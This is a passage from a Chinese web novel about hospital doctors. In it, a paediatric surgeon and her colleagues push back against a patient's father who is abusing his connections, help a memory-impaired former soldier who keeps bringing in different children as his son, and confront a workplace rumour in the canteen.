钟曼蒂只是普通的感冒发烧,南栀给他们开了药,让他们去找护士输液打针。 钟阳鞠躬感谢。 阮乔和他擦肩而过,激动道:“帅哥诶。” 南栀说:“帅哥已经结婚有孩子了。” “我只看帅哥,又不动帅哥,脸长得好,就是得多看,”阮乔问,“他儿子什么病?” “普通的感冒发烧,”南栀回想钟阳的背影,“比起他儿子,他倒是更奇怪。” 阮乔:“恩?” “没什么,”南栀说,“他应该要赶回部队,不会再过来了,继续叫号吧。” 阮乔正要朝屋外喊,诊室的门就被推开,利振国大步走了进来,神色阴郁地看着南栀。 姓蒋的说已经把事情办妥了,她怎么还在? 阮乔立刻走过来,“请你出去,我们医院不欢迎你!” 利振国推开阮乔,在南栀对面坐下,“你还好意思给人看病?” 南栀叹气,拿起话筒,却被利振国按住。 利振国问:“你知道我这段时间是怎么过来的吗?” 南栀:“过得挺惨?那就好。利凯没遭的报应,你替他多体验。” “你!你是医生,你敢这样和我说话?!” 南栀看向阮乔,示意她出去找人,自己则打开抽屉,从里面找东西。 利振国沉浸在悲愤中,“我不会放过你,你害死我儿子还想留在医院,做梦!我早晚让你滚远点!” 南栀关好抽屉,问:“你不是我的领导,你怎么让我滚?” 利振国说:“真把我当成可以随便对付的人?!我认识的人,比你看过的病人还多!” “你打算利用人脉,让我离开康宁医院?” 利振国:“呵呵,年轻人不知天高地厚,理解。” 南栀:“我只是好奇,我离开康宁医院后会去哪儿。” “乡下,小诊所,基层,”利振国讽刺道,“总而言之,你别想再晋升,也别想要什么前途!” 南栀点头,拿出录音笔,“那我就都录下来了,我说领导为什么忽然让我去建设什么小医院,原来是你的意思。” 她晃了晃录音笔,“我会去投诉。” 利振国神色微变,“你……” 南栀再次拿起话筒,说了几句利振国听不懂的话,没过多久,南栀把话筒递给利振国,“蒋主任想和你通话。” 利振国一怔,迟疑地看着南栀。 南栀把录音笔收好,“如果举报的话,蒋主任也脱不了关系吧?” 利振国立刻接过话筒。 话筒里传来蒋主任的咆哮声:“利振国!!你怎么没说她和陆家的关系,你想害死吗??!” …… 食堂,阮乔绘声绘色地描述利振国灰溜溜离开的窘况。 “真没想到啊,利振国多嚣张,接了电话屁都不敢放,这什么人啊,一门心思折腾我们,他儿子做的坏事,他是一点儿都不管。” “不要脸呗,”盛昭云说,“这种人太多,自己家人做了错事,就当没看见。别人做了错事,抓住不放,更别说南栀还没做错。” 只有南栀一直闷头吃饭。 阮乔偷偷伸筷子,被南栀抬手打掉。 阮乔:“你还听着呢,我还以为你心思都跑陆医生那边去了。” 南栀有点儿郁闷,“我是在想利振国的事。” “已经结束了,还想什么?” 南栀道:“我在想,我的录音有用吗?” 韦宁雨道:“肯定有用啊,他如果敢继续纠缠,我就立刻找媒体曝光!” “这是因为你人脉广,认识的人多,”南栀说,“我也是找陆随帮忙,所谓的蒋主任才放弃,如果被缠住的医生没有人脉呢?” 只凭录音,能对抗蒋主任吗? 韦宁雨和阮乔都愣住。 南栀有点儿郁闷,“如果是没有关系的普通人遇到这种情况,或许她的名气还没有我大,更没人愿意帮她一把,她是不是就要被赶到乡下,再也不能做手术了?” 而这一切,很可能只是因为她试图给更严重的患者先治病。 韦宁雨安静下来。 盛昭云道:“这些毒瘤是该清一清,比癌症更严重。” “是啊,哪来的那么多关系,连院长说话都不管用。” 韦宁雨想了想,说道:“这事不能就这么算了,就是得让他们长记性。” 几人凑到一起嘀嘀咕咕。 连争已经很习惯儿科的壮观景象,儿科和心外两个科室加在一起,就是康宁医院的半壁江山,人家愿意坐在一起,他也不能拦着。 祁念珍道:“蒋主任的事,可能会影响到南栀。” 连争奇怪道:“不是已经解决了?” 他也在托关系往上找,但他的关系不如陆随有用。 祁念珍意味深长道:“他们可是年轻人,年轻人有很多缺点,但有一点比我们都强。” 武涛看过来。 祁念珍说:“他们比我们敢拼敢做,武院长,对吗?” 凑在一起叽叽咕咕的头终于分开,每个人脸上都挂着意味不明的笑容。 翌日,南栀开始请假。 尚延一大早就没找到人,“南栀又请假?她不是刚回来?” “别紧张,”阮乔懒洋洋道,“咱们科室又不是只有南栀一个人,难道离开南栀就不转了?” 卢含娇意有所指,“去了一趟首都,心不在康宁了。” 临川这个小地方,城建和首都没法比。 去过大城市的人,都会嫌弃临川这个穷地方。 阮乔说:“卢主任说得对啊!栀栀去儿研所进修两个月,就不可能愿意回来嘛,栀栀的心一直在首都!” 卢含娇:“……” 尚延问:“你们说话都喜欢阴阳怪气?” 这几个人,没一个好人。 阮乔撇嘴。 连争也得到南栀称病请假的消息,他把祁念珍叫到办公室,“南栀真的病了?我怎么觉得不是那么回事?” 祁念珍淡笑道:“南栀办事,您得放心。” 连争:“……” 办事? 南栀? 儿科那帮家伙? 更不放心了。 当天中午,医院来了位老学者,带着孙女来看病,点名找南栀。 得知南栀生病后,老学者表示要第二天再来。 阮乔却悲痛道:“她病得很重,明天恐怕也来不了了。” 老学者的身份不一般,从前在首都工作,谁见了都得点头哈腰打个招呼,如今是回家乡颐养天年。 尚延作为科室主任,当然要亲自过来,他刚到就听到阮乔的厥词。 尚延:“?” 他怎么不知道南栀要请假? 阮乔:“我们南医生,命真苦啊!” 尚延:“?” 南栀命苦还是他命苦? 阮乔哭哭啼啼地说着南栀受到的伤害,主要是精神方面的伤害。 她哭完,尚延都没搞明白她在哭什么,昨天晚上南栀下班走时还欠儿欠儿地偷走办公室一盆花,这叫精神受到伤害? 这事不用尚延懂,媒体很快冲进南栀家。 南栀,目前为止,临川市正当红的医生,新闻多次报道,医术好,医德高,是临川市医疗界的骄傲。 老学者……不多说了。 第二天,利凯事件的经过就登报了,而且上了省收视率最高的新闻频道。 蒋主任和往常一样来到办公室,屁股还没坐热,领导就直接杀了过来,“你疯了?!临川的事你也敢插手?!和你有什么关系!现在全省都知道你帮一个商人打压天才医生,这事 你来兜着?!” 蒋主任:“……,啊?” * 折腾了一个星期,南栀才重新回到康宁医院上班。 “养病”期间,南栀接待了十几波客人,都是来看望她的。 有临川市的领导,也有省里的领导。 整个省都看到新闻报道,得知一名“优秀、有前途”的外科医生因为选择为“穷人、伤势更重的人”做手术而被针对,此事竟然还有省里的人掺和。 面对客人,南栀充分表达了“心灰意冷”,不想在医疗行业继续混的中心思想。 领导们当然是一遍又一遍地挽留。 连营市地震时,首都媒体也有报道,当时儿研所还站出来认领南栀,称南栀在儿研所学习过,是很有天赋的医生。 地震才过去多久,南栀就被针对,首都那边的面子都挂不住。 群情激愤,领导也得重视老百姓的想法。 蒋主任被停职的当晚,就开车杀到利振国家,“她有名气你怎么不提前说?她家里有人你不告诉我?!她要自杀,你我都得废!” 利振国:“??” 不是,她看起来像是会自杀的人? 南栀按照韦宁雨的指示,回到医院继续工作。 “拿捏人也要把握好火候,该出手时就出手,该收手时也别含糊,人家领导也是要面子的。” 韦人精这样教育几人。 阮乔表扬道:“这次多亏了你。” “先找个有声望的人来闹事,让更多的人关注,南栀也不用喊委屈,直接‘生病’,再找几个小领导先来看看,剩下的事就不用管了。”盛昭云评价道,“你真可怕。” 韦宁雨挑眉,“不找有声望的人,怎么引起更多人关注?不先找人来道歉,怎么给他们打样?” 盛昭云问:“你在哪认识的这么多人?” 韦宁雨好像在各行各业都有朋友。 “嗐,都是朋友,”韦宁雨说,“喝过酒的都是兄弟!” 阮乔感慨道:“男人,头脑简单靠喝酒办事的男人。” 韦宁雨撇嘴,“不是我和你们吹,现在报纸还是太慢,我考察过外国的情况,你们知道电脑吗?你们知道网络吗?如果电脑能联网,你们猜会怎么样?如果每家每户都有一台电脑,咱们把事情往上一发,再找人烘托氛围,呵,全国都得知道!” “这怎么可能?”魏联说,“好多人家连电视都买不起,还买电脑?” “你别不信,以后电脑肯定是家家户户都有,”韦宁雨道,“以后我要把生意搬到电脑上,让你在家就能看到我卖的商品,然后你通知我,我给你送家里去,肯定很多人愿意买。” 韦宁雨露出奸商本质,就差创造快递了。 南栀激动地抓住韦宁雨的手,“难道你是……韦云?!哦不,任云?!” 陆随走进来,把韦宁雨的爪子打掉,“你身体恢复了?” 南栀说:“精神特别好。” “外面还有一些人想见你,该装还是得装。” 南栀一秒钟虚弱,“知道了,其实我还是很不舒服。” 陆随:“……装得倒是挺像。” “当然像啦,”南栀说,“我可是有认真观察过你的!大家都说我学得像!” “你还挺聪明,你……什么叫观察过我?!” 他到底哪里虚弱了!! 两周后,市里紧急下发文件,以后医生调到下级医院,需要层层批准,而且要医生本人签字。 至于犯错误的医生,医院方提供完整证据,领导开会讨论研究如何处理,不需要医生签字。 实施起来肯定有问题,但更多领导被牵扯进来,想轻易把一个普通医生调走,也没那么容易了。 康宁医院的名气借此事又高了一个度,大家都知道康宁医院有原则,不会优先救治有钱人,名声倒是更好了。 知名度一高,南栀就忙,现在已经完全没时间去儿科出门诊。 韦初雪开始上手做相对简单的手术,她学习速度很快,能分走南栀一部分工作。 阮乔还没主刀过,有点儿羡慕韦初雪,又有点儿担心。 她曾经的想法很简单,给南栀做一辈子助手,就跟着南栀混。 但南栀说,她早晚是要上台主刀的。 阮乔基础不牢,也不是外科毕业,她和南栀一样,仗着当初康宁医院缺人才能顶上,她虽然刻苦练习,也跟了很多台手术,但目前为止还不敢上手主刀。 平时没手术,阮乔就跟着南栀一起出诊,继续给她做助手。 “我们盛医生说了,希望你能尽快评上副主任,分担她的工作。” 南栀头都没抬,她拒绝道:“政治工作我搞不来。” “可是升职做领导都要走这一步,”阮乔低声道,“你没发现,这方面越成熟,走得越远吗?反倒是有些医术很好的,但是不喜欢……就……你懂的。” 南栀说:“我妈能赚些稿费,我爸的工资也还可以,小康生活就行了,不用非要升职。” 阮乔:“天真。” 自己不升,就只能看别人升,到时候又会发生什么事,谁知道? 还不如自己努努力,先升职好了。 有患者敲门走进来。 阮乔道:“这边坐。” 南栀看过去,“咦,你是钟阳?” 钟阳用衣服做了简易担架,和另一人把孩子抬进来,“医生,我孩子被车撞了,当时以为没事,就没留住肇事者,后来他说头晕,我看他撞到头了,就带他过来看看。” 南栀和阮乔起身走过去。 男孩的额头有伤。 阮乔道:“以后出事故,第一时间来医院,千万别把人放跑。” “明白,”钟阳落寞道,“是我没有看好他。” 南栀:“……” 阮乔看向南栀,低声提醒,“给孩子看病啊,还是先去拍片子?” 南栀没有回答阮乔,她指着孩子问:“这是你儿子?” 钟阳点头,“没错。” 南栀问:“他叫什么?” “曼蒂,钟曼蒂。” 南栀看向和钟阳一起送孩子过来的人,“你认识他们吗?” 那人摆手,“我是路过帮忙的,兄弟,人送到了,我先回去了。” 钟阳追上去道谢。 阮乔问:“你怎么问一些莫名其妙的事,先给孩子拍片子吧?” 南栀神色复杂地看着钟阳,竟不知该如何对阮乔解释。 钟阳回到诊室,期盼地看着南栀。 南栀:“……你有几个儿子?” “一个。”钟阳说,“就是他。” 南栀:“……” “医生,有问题吗?” 南栀沉默良久才说:“可你上次带来的孩子,只有三岁,这一个,起码有五岁。” 阮乔茫然地看向“钟曼蒂”。 南栀补充,“你上次过来,也说孩子叫钟曼蒂,这两个孩子,真的是你儿子?” 阮乔:“你不会是人贩子吧?!” 钟阳的目光却比她们更茫然,“你们在说什么?” 他着急道:“你们别和我开玩笑了,赶紧看看曼蒂吧,他一直说头疼,还说恶心,是不是脑震荡?” 南栀:“……” 阮乔把南栀拽到一旁,“你确定吗?是三岁不是五岁?” 南栀说:“他上次过来,和你擦肩而过,你还说他长得帅。” “是哦,提到帅哥我就想起来了,”阮乔回忆道,“当时他是带着一个孩子,确实没有五岁……这人到底是什么情况,他不是军人吗?咱们报警吧!” 南栀看向钟阳,钟阳正查看“钟曼蒂”的情况。 他眼中的焦急不安不是演出来的,对钟曼蒂的关切也不像是假的。 南栀走过去,还没说什么,钟阳便催道:“求求你了,赶紧给他做检查吧,我要归队了,不能耽误太久。” 南栀:“……” 南栀摸了摸自己的额头,“我是不是烧糊涂了?” 阮乔:“陆医生烧糊涂,你都不会糊涂。” 南栀先给“钟曼蒂”开检查。 “钟曼蒂”头上有伤,身体未骨折,但被撞后太紧张,走路时崴了脚。 钟阳想背着男孩去做 检查,南栀道:“让阮医生去吧,钟阳同志,我还要再问你一些孩子的情况。” 钟阳犹豫地看向阮乔,似乎不太放心。 阮乔说:“麻烦配合,我每天都和孩子打交道,您放心。” 阮乔将孩子背走,南栀示意钟阳坐下。 “您马上要回部队?” 钟阳点头,“如果曼蒂的病严重,我可以和部队请假。” “您确定吗?”南栀道,“您上次来医院,也说要回部队,而且带来的是一个三岁的男孩,您到底有几个孩子?” 钟阳说:“我刚才就听你们在讨论,你是不是搞错了?” 他坚定道:“我是第一次来,我只有一个儿子,我三天后回部队,日期是定好的,不会变。” * 钟曼蒂因车祸导致慢性硬膜下血肿,需要行钻孔引流术。 钟阳办好住院手续后,南栀让他去找其他家属。 钟阳为难道:“他妈妈去世了,我妈妈也去世了,家里没有其他人。” 南栀问:“他妈妈是病逝?” “是为了救我,”钟阳拧眉,用力揉捏太阳穴,“打仗时为了救我牺牲了,我跑了,没保护她,都怪我,我太懦弱,我……” 钟阳开始用手捶头。 南栀拉住钟阳的手,顺便检查了他的头部,发现做过开颅手术的痕迹。 事情有些怪,必须报警。 康宁医院旁边的派出所赶到医院,钟阳虽然奇怪,但还是配合调查。 按照他提供的信息,民警去他的住处寻找可能认识他的人,却一无所获。 他所谓的住址,住着一家三口,附近没人认识钟阳。 至于孩子,暂时也不清楚他究竟是不是钟阳的儿子。 钟阳目前对“钟曼蒂”没有敌意,民警让南栀先给孩子做手术。 手术团队为男孩的手术做好准备。 南栀刚到手术室,就看到已经换好无菌服的阮乔。 她想了想,走过去,“乔乔啊,我的病还没好利索,现在体力不太好……” 阮乔:“?,什么病?” 南栀认真说道:“你忘了吗?我因为生病请了一周假呢。” 阮乔:“……” 不是假的吗? 阮乔狐疑地看着南栀。 南栀晃着手腕,“尤其是手,好累,拿不起工具,可能是没休息好。” 阮乔:“……” 阮乔能看到南栀脸上的四个大字:我在撒谎。 她郑重道:“如果以后你想卷陆医生的钱跑路,一定要直接跑,千万别想骗他。” 容易暴露。 南栀乖巧地点头。 “……但我真的不行,”阮乔戴上手套直叹气,“我才上台多久,我连助手都做不好。” “不会啊,”南栀说,“你比魏医生好,我想做什么你都知道,有你在我很省心啊。” 阮乔:“……可我害怕,人家能同意我来做吗?” 南栀说:“我在旁边呢,有问题我会指出来。” 阮乔还是心慌。 南栀挪到阮乔身旁,“我做第一台手术,舒教授在身边,我就很安心。你不放心我吗?” “当然不是,我只是……” 南栀保证,“每一步都提前沟通好,在手术过程上,绝对不会出任何问题。” 阮乔:“……” 她不敢说,她总是做手一抖,多开了半个脑袋的梦。 还有手一晃,直接把脑组织抓出来。 再就是…… 阮乔鼓足勇气,“我试试!” 这可真是突破极限了! 好在阮乔对自己的认知虽然不足,南栀却很了解她,她学得很用心。 手术顺利,术后被送到普通病房。 他清醒后,民警又来问话,和上次一样,他一直拉着钟阳的手。 民警问:“他是你爸爸?” 孩子点头。 “一直和你生活在一起?” 孩子点头。 “你妈妈没了?” 孩子还是点头。 南栀的怀疑好像没有根据。 直到南栀出其不意地问道:“他是你妈妈吗?” 孩子仍然点头。 民警:“……” 明白了,这孩子只会点头。【魔蝎小说 mo xie xs .c om】 110-120 第111章 第111章丢人 医生护士们争着跑到“钟曼蒂”面前问话。 “小朋友,你妈妈叫什么,爸爸叫什么?” “我长得像你爸爸不?” “我像奶奶吧?” 几个患者家属也跃跃欲试,吵得民警头都大了。 “钟曼蒂”抓着钟阳的衣袖,躲在他旁边,他不害怕医生护士,更不害怕钟阳,看起来和钟阳很亲近。 民警把南栀叫到走廊,“他看起来不像是拐卖人口的。” 警察过来调查,钟阳眼中只有困难,他不厌其烦地和警察解释,钟曼蒂是他儿子,他是军人,他要回部队,时间紧急。 南栀道:“我知道,但他上次带来的小朋友,确实不是这一个,他自己也说了,只有一个孩子。” 民警问:“会不会是你记错了?” 南栀眨着大眼睛,“是说我记性不好吗?” 民警:“……” 他们和医院打过好几次交道,也在新闻上看到过南栀,知道南栀的本事。 民警说:“我再去部队问问情况,看看钟阳是不是真军人。” 中午吃饭,南栀和陆随说起这件事。 “一直说要回部队,还带了不同的儿子……”箫珵低声说,“难道他和我们一样?” 他们仨都能穿,保不齐别人也能穿,说不定钟阳就是穿越过来的,只不过人家穿了两遍。 陆随白了他一眼,“说点儿正经的。” “我说得每句话都很正经,你难道不认为可能还有其他人穿过来?” “……” 这也不好说。 阮乔刚到食堂,带来最新消息,“民警来了,说暂时没查到这位钟阳,有重名的,但是照片不一样。” “还真是人贩子?”箫珵说,“得把他扣下,不能让他对其他孩子下手。” 南栀道:“可是好像没有家长报警说丢了孩子。” “兴许是从其他市拐卖过来的?” 南栀不语。 她留意到钟阳的手心,手心还有薄茧,从钟阳的身材来看,也像是军人。 陆随问:“他的身材很好?” 阮乔:“看起来很健壮。” 南栀:“你俩站在一起就知道啦,你比较瘦,他很壮,但不是胖,都是肌肉。” 陆随:“……” 他也都是肌肉! 箫珵幸灾乐祸,“你的虚弱形象是洗不掉了。” 陆随:“……” “他上学时也一般,体育课也就比我强一点儿,”箫珵说,“不过我应该是排名很靠前。” 陆随挑眉。 他的体育课成绩可是很能拿得出手的,一千米也能跑个第一第二的。 南栀和阮乔一起盯着陆随,“看不出来诶。” 陆随:“……” 再也不喝汤了。 “说实话,”阮乔对南栀说,“你俩匆匆忙忙领结婚证,这不太好,还没考核过陆医生。” 阮乔很为陆随的身体担心。 箫珵说:“他们两个还没办婚礼,不算结婚。临川市的习俗,只有办婚礼了,才能搬到一起住。” “我妈和陆教授还在商量日子,”南栀解释道,“她们让我别操心。” 阮乔失望道:“就这么结婚了?一点儿都不轰轰烈烈,随随便便地就结了?” “没有随便呀,”南栀说,“是和陆随结婚诶,我觉得还好。” 陆随挑了下眉,迅速压下翘起来的嘴角。 箫珵用力白了他一眼。 阮乔抖了抖身上的鸡皮疙瘩,她还是觉得太简单。 她以为南栀和陆随会在全院人的见证下求婚呢,言情小说里都是这样写的。 几人正聊着,韦宁雨忽然跑了过来,“该死的,钟阳跑了!” * 钟阳两个小时前离开病房,说要去给“钟曼蒂”买午餐,至今未归。 “钟曼蒂”一个人在病房里哭,隔壁床的患者家属帮忙哄,但他一直在喊 “舅舅”。 南栀跟着韦宁雨来到病房,韦宁雨抱怨道:“我们真的不该相信钟阳,他把孩子扔下就走了,估计不会回来了。” 南栀问:“报警了吗?” “民警正往这边赶,但是他们还不知道两人的真实身份,孩子还得留在医院,估计没什么办法。” 南栀若有所思,“如果钟阳不是在省内当兵,就不是很方便调查吧?或者……他已经退役了?” “他不是说还要回部队?” 南栀道:“他还说钟曼蒂是他儿子呢。” 韦宁雨说:“我去找部队的朋友问一问。” “你在部队也有朋友?!” 韦宁雨自豪道:“喝过酒的都是兄弟!” 南栀:“……” 她凑到韦宁雨身边,“云哥,将来发达了要记得我哦。” 韦宁雨的人脉似乎比民警有用,他还真在隔壁省找到一个已经退役的钟阳。 傍晚,钟阳仍然没回来,韦宁雨神秘道:“这个退役的钟阳,虽然暂时还没看到照片,但从描述来看,应该是一个人,脸型啊眉毛啊都一样,他下颚还有道疤,也一样。” 阮乔好奇道:“他已经退役了?真的有孩子吗?” “这就不清楚了,钟阳已经退役了,估计部队不会管。我朋友答应再去打听打听,问问他到底结婚没。” 阮乔说:“他估计脑子有问题,我真怕他过两天再带一个孩子过来。” 南栀:“……” 韦宁雨:“……” 两人一起看向阮乔。 阮乔:“……应该不会吧?” 两天过去,钟阳倒是没再带着孩子过来,不过他去报警了。 他报警称,隔壁市的外甥来找他玩儿,结果走丢了,他们已经分开两天。 刚好有来过医院的民警看到钟阳,立刻把人逮了过来。 钟阳和“钟曼蒂”热情相拥,“晓光,你跑哪去了,我很担心你!到处在找你!” 晓光点了点头。 医生&警察们:“……” 钟阳的脑子好像真的有问题。 晓光也不太聪明的样子。 南栀问:“你不记得我了?” 钟阳礼貌地和南栀道谢,“麻烦医生了,晓光的手术是你做的?钱是谁垫的?我给你们钱。” 南栀:“……” 阮乔的记忆都快被钟阳搅乱了,她一头雾水,“钟阳同志,你已经来过医院两次,这是第三次。是你把晓光送过来的,你说他是你儿子,另外,第一次你也送过来一个孩子,不是他。” 钟阳愣住,似乎对这些事完全没印象。 他神色落寞,喃喃道:“我可能又糊涂了。” “糊涂?” 钟阳指了指大脑,“动过手术,记忆不太好,他们说我总把事情搞乱。” “你现在恢复记忆了?你儿子到底在哪??” 这是阮乔最好奇的问题。 钟阳又怔住几秒钟,他揽着晓光,轻声道:“他已经不在了。” “其实曼蒂不是我的儿子,是个混血,是我女友救回来的。” 钟阳说,他的女友和他一样都是军人。 二十岁那年,边境发生局部冲突,他们都是参战的军人。 双方的武器都不太信息化,他们追着对方,一直打到邻国。 邻国不太要脸,会投人肉炸弹,曼蒂就是被他们丢过来的。 炸弹随时可能会爆炸,技术有限,可能对面都不知道会何时炸。 钟阳想带女友离开,他认为没必要为邻国的孩子冒险,但女友去救人了。 “我很害怕,转身逃走,她去拆弹,炸弹爆炸,她人也没了。我是个懦夫,临阵脱逃,连她一半都比不上。” 钟阳讲述时,病房里好几个孩子围过来听。 阮乔唏嘘道:“她真是个很勇敢的人,但我认为不去拆弹也不是错,错的是对面,居然拿孩子当诱饵。” 既然是诱饵,钟阳不想上钩,好像也没什么问题? 钟阳摇头,“我是当兵的,吃的就是这碗饭,我就该为了保家卫国死在战场上,但我逃走了,只是因为一个炸弹。” “所以你的记忆就混乱了?”南栀盯着钟阳的头,“你还做过手术。” “是那次爆炸导致的,”钟阳说,“我都逃走了,哪还有脸留在部队?后来就回来了。” 南栀拧起眉。 阮乔低声道:“其实我觉得他挺惨的,受的伤也很严重吧?但是一辈子都不能原谅自己。” 南栀轻声道:“好像有些怪。” “怪?” 南栀道:“我也说不好……带钟阳去检查?” 钟阳很配合南栀,愿意接受脑部检查,却没能查出什么异常。 钟阳的旧伤恢复得不错,脑部暂时没有其他问题。 至于记忆的事,还真是不好说。 不过钟阳把姐姐和姐夫叫了过来,晓光的确是他的外甥。 晓光虽然对着所有人都能喊出爸爸妈妈,但看到亲爸亲妈时,喊得最亲。 亲妈拿起扫帚打算改改他乱叫的毛病时,他嚎得也最响。 恩,是亲妈。 钟阳的姐姐和姐夫也说不准钟阳当兵时发生的事。 “好像是有个女朋友,但从来没带回来过,他退伍后好像变了一个人,一句话都不说,每天闷在家里。后来倒是好多了,但就像现在这样,动不动就说要回部队报到,前几次我都快吓死了。” 南栀问:“那时候他就会带着孩子了?” “是啊,看见谁都说是自己的儿子,我们还奇怪呢,他是去当兵的,哪有时间生孩子?没想到是人肉炸弹……唉,造孽。钟阳最近已经好多了,很久没犯病,我就让晓光来陪陪他,没想到又开始了。” 南栀意识到钟阳的情况可能不仅是脑部问题,他的心理问题更大,当年女友的死亡、他的逃走,让他无法迈过这道门槛。 南栀建议他们去接受心理治疗。 心理医生比较少,大部分人也不相信自己的心里会有问题,钟阳的姐姐、姐夫都不知道还有心理医生这回事。 南栀给他们推荐了医院。 两天后,晓光出院,钟阳也决定去接受心理治疗。 南栀送走他们没多久,一辆车停在医院门口,四个穿军装的军人走进医院。 南栀一开办公室的门就看到四个门神。 南栀:“……” 她最近和当兵的过不去哦? 为首的人朝南栀伸出手,“您好,我们想找钟阳。” 这四人都是钟阳曾经的战友,没有退伍,仍然留在部队。 阮乔给四人准备好茶水,好奇道:“你们真的不知道钟阳的情况?” 他们苦笑道:“他一退伍就跑了,谁都不肯见,还换了城市,我们想找也找不到。” 南栀问:“是因为人肉炸弹的事吗?” “人肉炸弹?不不,这都是很多年前的事了,他是三年前才退伍的。” “咦,和钟阳说得不一样。” “看来他的脑子是真乱了。” 四人解释道:“人肉炸弹的事,是真的,那孩子叫曼蒂,小韵把她救下来了,小韵就是钟阳的女朋友。不过他当时的确反对救人,那会儿才上战场没多久,害怕也正常,都是这么过来的。他估计是留下心理阴影了。” 南栀惊喜道:“小韵也还活着吗?” 说话的人却摇摇头,“后来小韵为了掩护我们撤退牺牲了,钟阳当时不在。小韵牺牲后,钟阳一直没走出来,每天只顾着做任务,不愿意和人交往。” “那他的伤……” “后来做任务时,流弹伤了脑袋,做手术取出来的,他身体不适,心态也不好,就让他退伍了。我们是老战友,一直想找他的下落,但他……唉,这真是心病。” 原来小韵的死与钟阳无关,曼蒂也还活着。 只有钟阳被永远困在他曾试图逃跑的爆炸现场。 “小韵好厉害,”阮乔佩服道,“敢去拆弹,又为了掩护战友牺牲,我好像做不到。” 几个军人笑道:“是啊,她可是我们之中最厉害的。最开始我们都不服气,女人怎么可能比我们还厉害?后来被揍几顿就老实了,再也不敢乱说话。” “我们这次过来,就是想找到钟阳,能帮就帮,小韵的父母也在临川,他估计是冲着小韵过来的,与其浑浑噩噩过日子,不如给他找点儿事情做,老人家年纪大了,失去了优秀的女儿,去陪陪也是好的。” 晚上回家,南栀把小韵的故事告诉黄春兰。 黄春兰最近灵感枯竭,一直说写不出文章。 黄春兰已经有固定的编辑,她的稿子经常登上杂志。 小韵的经历,值得被更多人知道。 * 暑假过去,新学期开学,南栀又象征性地去上了一节课,主要是去领奖学金的。 她虽然没怎么上课,但按时参加考试,不出意外地考了第一名,成绩相当好。 学校决定把奖学金分给南栀一份,又是一笔额外收入。 从学校回来,南栀还有一台手术要做。 韦宁雨跟进手术室,一定要亲口告诉南栀这个好消息,“根据数据统计,目前全市的疑难杂症都是在我院治疗的,你知道这意味着什么吗!” 南栀笑道:“意味着康宁医院的口碑是最好的?” “没错!我们康宁现在就是临川最好的医院!如果再进一步调查,估计全省儿科和心血管的疑难杂症都会在我们医院!火车站的人都说了,今年开始,往临川来的人都变多了!” 这一点南栀也能感受到,她每天忙得脚不沾地,就没闲下来过。 黄春兰和陆嘉述定好的结婚日子也没用,南栀和陆随都没时间。 阮乔换好无菌服走进来,“你们还有空闲聊?听说了吗,那事。” 南栀摇头。 “就是小谷啊,”阮乔低声道,“外面说小谷是被包养的,你们猜传出来包养她的人是谁?” 南栀拧眉,这对女性来说是非常恶意的谣言。 韦宁雨道:“是汤院长吧?” “咦,你都听说了?” “我见过,她从汤院长车上下来。” “好吧,我觉得小谷不像是这种人,她最多就是以前的我,对工作不太上心而已。” 南栀说:“没有证据的确不该乱说。” 中午到食堂,南栀和阮乔先坐下,没一会儿,邢小谷气呼呼地走过来,“神经病,都是神经病!” 南栀小心翼翼问道:“你是听到什么了?” “连你们都听说了?!”邢小谷骂道,“你俩天天往手术室钻的都知道了,肯定全院都知道!老娘的清誉都毁了!” 阮乔说:“要不你和他们解释解释?” 南栀不赞同,“捕风捉影的事情,却要主动解释?” “不解释他们就更肆无忌惮地传了,遇到这帮人真麻烦。” 南栀提议道:“可以揪个人直接骂一顿。” “在骂中顺便解释?” “还能让其他人害怕!” 邢小谷心领神会。 旁边的陆随和箫珵:“……” 儿科都是这样解决问题的? 恰好有人经过,多看了邢小谷一眼,然后和同伴挤眉弄眼。 南栀三人一起拍桌站了起来。 陆随的筷子险些吓掉。 南栀道:“有话你们就直说。” 阮乔:“嘀嘀咕咕干什么?” 邢小谷:“看你们脸上的笑,丢人!” 几人突然被骂,语无伦次道:“不是我们说的,大家都那样说。” 南栀:“人家说你们就跟着说?没有判断力?” 阮乔鄙视道:“没有证据就泼脏水,恶心。” 邢小谷挑眉,“有本事到我面前来说!” 食堂其他人都看过来,小声议论道:“是在说邢小谷的事情吗?” “邢小谷怎么了?” “听说是被汤院长包养的,平时就干什么都不行,难怪能进医院。” 南栀立刻看过去,“那位医生,对,就是你,你说邢医生是被包养的,有证据吗?” 说话的人尴尬道:“很多人看见她从汤院长的车上下来。” “真是怪了,只是看到人从车上下来,就联想到被包养?”南栀反问,“你每天住在家里,从你家门出来,难道你和你家人也有一腿?” “……,我从家里出来不正常?” 南栀问:“那从院长车上下来就不正常啦?” “按照你说的,我还得亲眼看到他们那啥,才算数?!” 南栀说:“你不仅得亲眼看到,你还得拍照片当证据,我们才能相信你呢,不过传播照片是违法的哦,你不怕被起诉的话可以去拍啊。” “……” 三人战斗力极强,但凡说起此事的,都被损了一顿。 陆随和箫珵坐得极为板正。 箫珵道:“看来她们平时对我们已经很客气了。” 陆随:“是的。” 箫珵:“我们以后也该注意说话分寸。” 陆随:“我向来很有分寸。” 箫珵说:“你和南栀真配。” 陆随:“谢谢夸奖。” 箫珵说:“脸皮都厚。” “……” 邢小谷骂够了,气呼呼坐下来。 箫珵谨慎道:“可以问问你为什么和汤院长认识吗?我绝对不是认为你们有什么哦,只是好奇你刚来医院,是怎么……” 邢小谷满不在乎道:“汤院长是我公公啊。” “哦,原来汤院长是你公公……公公?!” 邢小谷展示戒指,“我也不想和公婆住在一起,我老公太听话,不过和公婆住倒是也有点儿好处,不用做家务,上班还能搭个便车。” 箫珵:“……” 难怪人家会看到邢小谷从汤院长车下下来。 南栀和阮乔更气了。 就因为这一件事,就给人家造黄谣! 而且这还是普遍现象!恶心! 三人骂骂咧咧,食堂安安静静,一个敢骂回来的都没有。 阮乔故意拉着邢小谷的手大声说道:“有些人啊,认为坐公公的车就是有猫腻,心脏的哦。” 食堂更安静了。 邢小谷忍不住笑道:“谢谢哦。” “女孩子帮女孩子,应该的嘛。” 邢小谷又问:“乔乔啊,我一直很好奇,都说你以前是混日子的,可你现在好努力哦。为什么要这么努力?” 阮乔哭丧着脸指指南栀,“身边有这种人,我能怎么办?” 如果只是聪明就算了,偏偏聪明还努力,这让她怎么办? 她总有种每天一睁眼就又落下十米的感觉,就只能一起努力了。 邢小谷若有所思。 汤兴生家里挺有钱的,她老公赚得也不少。 邢小谷就想在医院划划水混日子。 可在儿科时间久了,她惊恐地发现,好像划水的只有她一个人。 这氛围确实恐怖,学渣都想翻书了。 邢小谷说:“以后我生了孩子,一定把孩子带到办公室,天天看着你们,孩子一定会好好学习!” 